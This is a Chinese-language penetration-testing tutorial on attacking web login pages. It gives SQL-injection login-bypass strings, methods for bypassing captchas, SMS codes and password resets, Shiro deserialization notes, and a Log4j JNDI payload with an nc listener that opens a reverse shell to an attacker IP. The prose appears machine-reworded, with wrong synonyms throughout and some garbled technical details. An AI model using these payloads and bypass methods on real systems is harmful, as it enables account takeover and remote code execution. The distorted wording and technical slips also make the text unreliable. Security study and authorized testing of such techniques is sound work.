引 言
在渗透测试中登录页面拥有重要地位,由于它是系统中的关键入口和身份验证环节,当前端展示页面功能单一,可攻击面比较少时,攻击者一般会转向针对该页面进行攻击以登录进后台获取更加多的可利用的功能点。本文重点展示平常的针对登录页面的渗透测试方式及思路。
攻击方式重点从常规操作、规律缺陷、网站框架、网站接口这几个方面进行了仔细的介绍。
01 常规操作
1.1 目录扫描
扫描工具:dirsearch、gobuster、wfuzz、TidePlues等。
针对目录的暴破,有时要尽可能的运用区别目录扫描工具,因为每一个扫描工具的算法区别,自定义的字典区别,经过区别的扫描工具以能够加强发掘未授权页面的几率,当扫描出网页状态码为403的路径时,表率页面存在但无拜访的权限,因为中间件或网站鉴权的配置可能存在不完善的地区,这种配置引起了可能存在bypass的方式。
dirsearch_bypass403工具 枚举出来的403状态目录可尝试进行绕过,经过../ ..;/ /*/ %09 %20等形式进行目录拼接以尝试绕过403有可能获取管理员权限,不影响dirsearch本来功能运用。
扫描到这种未授权拜访的功能页面或接口,能够尝试进行SQL注入或进行参数构造以获取敏锐内容。
当页面中存在数据交互的地区就要尝试SQL注入。
1.2 弱口令暴破
经过账户名的区别,页面返回区别的提示信息,以此做用户名探测,得到用户名之后,再做弱口令暴破。
运用Yakit 的随机延迟功能以降低被封IP的可能性,或运用代理池,一次请求更换一个新的IP位置以伪造多人登录的场景。
1.3 万能秘码
重点经过猜测SQL的闭合方式及SQL语句的判断方式,经过构造新的SQL语句绕过原有的判断规律,以实现登录。
晓得用户名的状况下: admin or 1=1 #
不晓得用户名的状况下: 1 or 1=1 #
后台可能执行实质语句: select * from users where username=1 or 1=1 # and password=$password
当 # 号被过滤的状况下: admin or 1=1 or 1=1
后台可能执行的实质语句: select * from users where =admin or 1=1 or 1=1 and passwd=213
and 优先级高于 or
02 规律缺陷
2.1 验证码
验证码存在的问题基本上都是后端对验证的验证码的校验机制过于简单,无与其他参数进行绑定。
图形验证码当存在可绕过的状况时:
1
修改值为空、null 或 true 。
2
验证码复用或失效。
3
图形验证码的随机值可控。
因为程序员为减少后端的开销,将验证码由前端生成,生成验证码的随机值被写在请求url中或请求体的其他参数中,经过base64加密以实现隐匿.如 `url?characters=1111`这般的形式,需要攻击者观察请求验证码时的数据包仔细查看数据包中的参数,经过BurpSuite定义宏或yakit定义序列以实现全部账户登录的流程,进行秘码账户的暴破。
2.2 短信验证码
方式一:mobile=12345678912 数字前面加空格、+86、+086、+0086、+0 00 /r,/n ? # ! 等方式。
方式二:添加多个值。
moblile=number ,number
mobile=number&mobile=number
方式三:提交其他用户的手机验证码。
当攻击者的手机号验证码为1111,运用其他用户收到的验证码为2222,攻击者运用2222亦能正常登录。
方式四:验证码仅有4位能够尝试进行暴破。
方式五:固定值111111 000000。
在程序测试功能是不是正常时,写入了固定值,程序正式上线时未删除。
方式六:找回秘码功能页面。
填写完账户名,给A发短信,运用BurpSuite拦截,将A修改为攻击者自己的手机号,结果变成为了攻击者发送短信验证码。
2.3 秘码重置
通常秘码的重置流程分为三步,输入用户名,输入手机验证码,修改秘码,当后端回显的数据包过于简单,无进行其他参数的绑缚,如下图。
就可经过伪造这般的回显数据包,进行秘码重置流程的跳跃,直接跳到修改秘码环节。
或修改秘码时,按照的是mobile参数而无对mobile参数与cookie值进行绑定,就可直接对moblie参数内容进行替换,以此直接修改其他账户的秘码。
2.4 运用手册
经过操作手册,以获取初始秘码,或秘码和账户的命名方式,生成更有针对性的暴破字典进行暴破。
2.5 Web网站与APP
在Web页面注册新用户,尝试登录进后台时,发掘其存在白名单的单位名叫作的限制,没法进行注册。
在登录页面中发掘了手机客户端的选项,或在无发掘这个选项时,在渗透测试进一步的操作中无好的方向时,能够尝试扩大攻击面,搜索此机构是否存在APP。
针对通常机构而言,APP端基本上便是将Web端的网站进行下修改,增多或删除有些功能点,有时为了减少资源的浪费,会通用一个数据库内容,而这里次的案例中,就运用了同一个数据库,同期为了在APP端注册用户方便,简化了注册流程,直接经过手机号进行注册。
2.6 Web网站源码
网站源码是非常重要的存在,有时会从这儿发掘有些意想不到的收获,例如在以下源码中就发掘了引用的GitHub上面的开源框架。
当发掘了GitHub上面的开源框架时,能够找寻其存在的初始账户和秘码,或对其进行代码审计寻找未授权接口和页面,或发掘此项目已存在很久无更新,能够自己对项目进行拉取搭建,当开源框架很久无更新时,其运用的有些模块版本较低时,如Shiro、FastJson、Log4j等等极可能存有RCE漏洞。
有些机构会搭建有些演示网站,用于对客户进行展示,尝试经过该软件的名叫作和照片或在源码中发掘的有些信息在FOFA、鹰图中找到了搭建在公网上的演示系统,经过弱口令登录到后台的管理页面找到上传路径,或寻找查找的接口,在真实系统中尝试上传和查找,当其系统的权限管理未配置稳妥时,极有可能存在漏洞。
03 网站框架
3.1 Webpack
Webpack 是一个现代 JavaScript 应用程序的静态模块打包工具。它重点用于将多个前端资源(如 JavaScript、样式表、照片等)打包成一个或多个静态资源文件,以便在浏览器中加载。Webpack 经过模块化的方式管理项目中的各样资源,能够有效地处理依赖关系、优化代码,并且支持运用各样插件和加载器来扩展其功能。
当经过F12发掘存在app.xxxxxx.js和非常多cunk.xxxxx.js,这就显示该网站运用了Webpack技术进行打包前端项目。
通常状况下,网站不会出现 Webpack:// 和 sourceMappingURL=app.f3cadf2a.js.map 这般的话能够直接看到前端原始代码,网站的前端代码分析会容易非常多,亦容易寻找到接口进行拼接尝试未授权拜访,前端代码或 .js 文件太多时能够运用 Packer Fuzzer 工具。
Packer Fuzzer工具支持自动模糊提取对应目的站点的API以及API对应的参数内容,并支持对:未授权拜访、敏锐信息泄密、CORS、SQL注入、水平越权、弱口令、任意文件上传七大漏洞进行模糊有效的快速检测。
3.2 Shiro
特征:
1
登录框有一个“记住我”或“记住秘码”的特征。
2
前端代码显现 rememberme 。
响应包: Cookie:rememberMe=1Set-Cookir:rememberMe=deleteMe
Java 的安全框架供给身份验证、授权、秘码和会话管理。
Shiro 处理 cookie 的流程是 base64 解码、对叫作加密算法 AES 解密、反序列化,因此当攻击者晓得 Shiro 密钥时,能够自己构造序列化对象数据,而后经过加密发往Shiro 的 Web 程序,从而进行反序列化攻击。
1
Shiro-550 CVE-2016-4437 Apache Shiro<=1.2.4
密钥是硬编码,便是密钥是固定的。
2
Shiro-721 CVE-2019-13422 Apache Shiro<1.4.2
key随机产生加密反射AES-28-CBC CBC 加密方式存在 Padding Oracle Attack 漏洞。
CBC 的初始IV固定全为0或泄密,就会引起key很好破解。
1.4.1版本后采用的是 AES-128-GCM加密方式以获取随机的密钥,但有攻击者做了Shiro 密钥的收集,亦能够尝试碰撞。
探测:
经过Heimdallr 插件。
攻击工具:
3.3 Log4j2
因为Log4j2组件在处理程序日志记录时存在JNDI注入缺陷,未经授权的攻击者利用该漏洞,可向目的服务器发送精心构造的恶意数据,触发Log4j2组件解析缺陷,实现目的服务器的任意代码执行,得到目的服务器权限。
网站运用了Log4j 或FastJson 时经过Yakit插件Log4Shell漏洞检测 FastJson漏洞检测 或BurpSuite中TsojanScan 进行被动扫描。
案例介绍:
在登录页面尝试,秘码登录时,经过插件发掘了在参数name= ,eventide=处存在Log4j漏洞。
进行手工验证得到Java的版本为1.8.0 。
利用方式:
经过Log4j获取shell
# 监听命令, -i 本机的ip Java -jar JNDIExploit-1.2-SNAPSHOT.jar -l 8888 -p 6666 -i 192.168.242.4
#开启nc监听 nc -lvvp 10010
#设置payload并拜访
# poc原文 ${jndi:ldap://192.168.242.4:8888/Basic/ReverseShell/192.168.242.4/10010}
# 拼接poc在发掘Log4j的参数点进行拜访 http://your-ip/solr/admin/cores?username=${jndi:ldap://192.168.242.4:8888/Basic/ReverseShell/192.168.242.4/10010}
Log4j2供给了一种lookups的机制,便是在进行日志记录时会将pattern中的$ { } 包裹的变量进行解析, 当 lookups的取值源自为JNDI 时, 便是日志信息中插入${jndi:xxx} 以键值对形式存在的变量时,Log4j2 就会进行jndi 查找,最后在jndi Lookup 处触发 远程代码执行。
其它类的框架经过拜访不存在的xxx页面(ThinkPHP独有的报错页面,或.do/.action 结尾的大概率为Struts2框架,或ico图标的特殊),获取网站的报错信息,暴露出网站所采用的框架,之后进行针对性的poc攻击。
04 网站接口
4.1 源代码接口拼接
在源码找下JS里面是不是会有未授权的接口,构造数据进行拜访。
直接拼接或与其他路径进行组合拼接拜访。
经过持续的报错信息以进行请求方式和参数的构造以获取此接口的信息。
4.2 Swagger
经过目录暴破以得到Swagger-ui界面。
工具运用语法: python .\swagger-hack2.0.py -u https://xxxx/swagger/v1/swagger.json
该工具重点是对Swagger的接口进行快速的探测接口的存活,同期亦有可能直接直接探测出一个信息泄密的接口,直接泄密网站后台海量的个人信息和账号秘码。
4.3 Sprinboot env
经过目录暴破得到env目录,即spring actuator未授权漏洞,而在其中利用价值最大的是可下载的heapdump文件。
heapdump 文件一般指的是 Java 虚拟机(JVM)生成的堆转储文件,用于分析 Java 应用程序的内存使用状况。这些文件一般以 .hprof 扩展名结尾,并包括了应用程序在某个时间点的堆内存状态信息。
经过 java -jar JDumpSpider.jar heapdump 就可对heapdump进行敏锐信息提取,其中优先级靠前的为数据库的账户秘码及位置和安排的端口,Shiro的密钥等信息。
总结
渗透测试在黑盒的状况下本便是在持续的尝试区别的攻击方式,已发掘程序可能存在的漏洞。在针对登录页面的渗透测试过程中,因为页面的限定,所采用的渗透测试方式并不多,因此要更加的注重于细节,对登录页面的每一个请求及回显数据包,进行查看,重视其参数注释及报错信息,针对规律型的漏洞要进行思维的发散,要思虑程序设计者所没思虑到的状况出现。
|